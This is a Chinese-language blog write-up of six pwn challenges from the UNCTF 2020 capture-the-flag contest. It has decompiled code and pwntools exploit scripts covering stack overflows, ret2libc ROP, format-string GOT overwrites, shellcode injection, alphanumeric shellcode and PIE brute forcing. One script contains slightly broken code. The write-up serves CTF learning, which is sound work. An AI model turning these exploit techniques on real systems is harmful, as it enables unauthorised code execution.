avatar

UNCTF 2020 新星赛 Pwn WriteUp

1.nc就行 100

nc就行

2.Hermes 200

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

name

__int64 name()
{
char v1; // [rsp+0h] [rbp-20h]

puts("\"What's Your name?\"");
gets(&v1);
printf("Ok,%s\n", &v1);
return 0LL;
}

gets溢出

sys

__int64 sys()
{
system("/bin/sh");
return 0LL;
}

后门函数

3.exp

from pwn import *
context.log_level = "debug"
#p= remote("101.71.29.5",10070)
p = process("./pwn")
sys_addr = 0x4007EB
pop_ret_addr = 0x4006e0

payload = 'a'*(0x20+8) + p64(sys_addr)
p.recvuntil("What's Your name?")
p.send(payload)

p.interactive()

3.babyrop

1.checksec

Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main()
{
char buf; // [esp+Ch] [ebp-2Ch]
int v2; // [esp+2Ch] [ebp-Ch]

v2 = 0;
inital();
puts("Hello CTFer!");
read(0, &buf, 0x30u);
if ( v2 == 0x66666666 )
back_door();
puts("Ok!goodbye!");
return 0;
}

buf移除后修改v2为0x6666666,进入后门函数

back_door

unsigned int back_door()
{
unsigned int result; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int retaddr; // [esp+1Ch] [ebp+4h]

puts("What is your name?");
read(0, &buf, 0x30u);
result = retaddr;
if ( retaddr > 0x8050000 )
{
puts("What!?");
exit(0);
}
return result;
}

这里栈溢出空间大,可以构造较长ROP链,但是有个ret检查,使用ret的gadget绕过即可

3.exp

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = process("./babyrop")
elf = ELF("./babyrop")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
back_addr = 0x0804853D
ret_addr = 0x0804839e

pay1 = 'a'*0x20+p32(0x66666666)
p.recvuntil("Hello CTFer!")
p.sendline(pay1)

pay2 = 'a'*0x14
pay2 += p32(puts_plt)+p32(back_addr)
pay2 += p32(puts_got)

p.sendlineafter("name?",pay2)
puts_real = u32(p.recvuntil('\xff')[-4:])
libc = LibcSearcher("puts",puts_real)

libc_base = puts_real - libc.dump("puts")
sys_addr = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
log.success("libc base: " + hex(libc_base))
log.success("system: " + hex(sys_addr))
log.success("binsh: " + hex(binsh))

pay3 = 'a'*0x14
pay3 += p32(ret_addr)+p32(sys_addr)+p32(0)
pay3 += p32(binsh)

p.sendlineafter("name?\n",pay3)
p.interactive()

4.unctf_babyfmt

1.checksec

Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

无保护应该要写shellcode

2.IDA

sub_80486CD

int sub_80486CD()
{
char buf; // [esp+0h] [ebp-58h]

printf("Please input your message:");
read(0, &buf, 0x50u);
return printf(&buf);
}

printf没有加上格式化字符串造成字符串格式化漏洞

确定偏移

Welcome to UNCTF2019!
printf is magic function!
Please input your message:aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaa-0xffffe5f0-0x50-0xff63c860-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0xff0a7025

偏移量为四

3.exp

  • 1.传入binsh

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = process("./babyfmt")
elf = ELF("./babyfmt")

puts_got = elf.got["puts"]
pay1 = p32(puts_got)+"%4$s"
p.sendlineafter("message:",pay1)

puts_real = u32(p.recvuntil("\xff")[-4:])
libc = LibcSearcher("puts",puts_real)
libc_base = puts_real - libc.dump("puts")
sys_addr = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")

log.success("libc base: " + hex(libc_base))
log.success("system: " + hex(sys_addr))
log.success("binsh: " + hex(binsh))

pay2 = fmtstr_payload(4,{elf.got["printf"]:sys_addr})
p.sendlineafter("message:",pay2)

pay3 = '/bin/sh'
p.sendlineafter("message:",pay3)
p.interactive()
  • 传入shellcode

32位此次只能传入4字节,所以很麻烦

详细见2019.11.3 unctf babyfmt (格式化字符串任意地址的读和写)

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
p = process("./babyfmt")
elf = ELF("./babyfmt")

bss_addr = 0x8049B80

p.recvuntil("message:")
p.send("%p")
stack = int(p.recv(10),16)
log.success("ret_addr : "+hex(stack))
shellcode = [0x6850c031,0x68732f6e,0x622f2f68,0x50e38969,0x8953e289,0xcdbb0e1,0x80]
for i in range(len(shellcode)):
pay= fmtstr_payload(4,{(bss_addr+i*4):shellcode[i]})
p.recvuntil("message:")
p.send(pay)

pay2 = fmtstr_payload(4,{stack+0x5c:bss_addr})
p.recvuntil("message:")
p.send(pay2)
p.interactive()

5.unctf——EasyShellcode

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

sub_400B16

unsigned __int64 sub_400B16()
{
__int64 v0; // rax
__int64 v1; // rax
signed int i; // [rsp+Ch] [rbp-1014h]
char s[4104]; // [rsp+10h] [rbp-1010h]
unsigned __int64 v5; // [rsp+1018h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(s, 0, 0x1000uLL);
memset(::s, 0, 0x1000uLL);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "What do you want to say?");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
s[read(0, s, 0x1000uLL)] = 0;
for ( i = 0; i <= 4095; ++i )
{
if ( (s[i] <= '@' || s[i] > 'Z')
&& (s[i] <= '`' || s[i] > 'z')
&& (s[i] <= '/' || s[i] > '9')
&& s[i] != '\n'
&& s[i] )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "You are not good!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(0);
}
}
strcpy(::s, s);
(*(void (__fastcall **)(char *, char *))::s)(::s, s);
return __readfsqword(0x28u) ^ v5;
}

过滤了shellcode,使得shellcode需要被改变

3.exp

AE64下载

from pwn import *
from ae64 import AE64
context.log_level = 'debug'

p = process("./pwn")
p.recvuntil('say?\n')
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()))
p.sendline(sc)
p.interactive()

6.Soso_easy_pwn

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,感觉是堆

2.IDA

sub902

unsigned int sub_902()
{
char s; // [esp+Ch] [ebp-1Ch]
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(&s, 0, 0x10u);
printf("Welcome our the %01d world\n", (unsigned int)inital >> 16);
puts("So, Can you tell me your name?");
read(0, &s, 0x14u);
printf("\nhello %s", &s);
fflush(stdin);
return __readgsdword(0x14u) ^ v2;
}

sub9E6

int sub_9E6()
{
int (*v1)(void); // [esp+8h] [ebp-10h]
__int16 *buf; // [esp+Ch] [ebp-Ch]

puts("Please input your choice:(1.hello|2.byebye):");
read(0, buf, 1u);
if ( buf == (__int16 *)((char *)&word_30 + 1) )
{
v1 = (int (*)(void))join;
}
else if ( buf == &word_32 )
{
v1 = (int (*)(void))bye;
}
return v1();
}

经调试发现两个函数的栈重叠了,所以通过覆盖指针v1的值,那么偏移为0x1c-0x10=0xc=12,进入后门函数,但是开启了PIE保护,所以我们需要爆破

3.exp

from pwn import *
context.log_level = "debug"
while 1:
try:
p = process("./pwn")
base = p.recvuntil(" world")
base = hex(int(base[-11,-6]))
p.recvuntil("name?")
p.send('a'*12+p32(int(base+0x89cd),16))
p.recvuntil("Please")
p.sendline('ls')
p.interactive()
except Exception as e:
p.close()
Author: Joe1sn
Link: http://blog.joe1sn.top/2020/UNCTF%202020%20%E6%96%B0%E6%98%9F%E8%B5%9B%20Pwn%20WriteUp/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信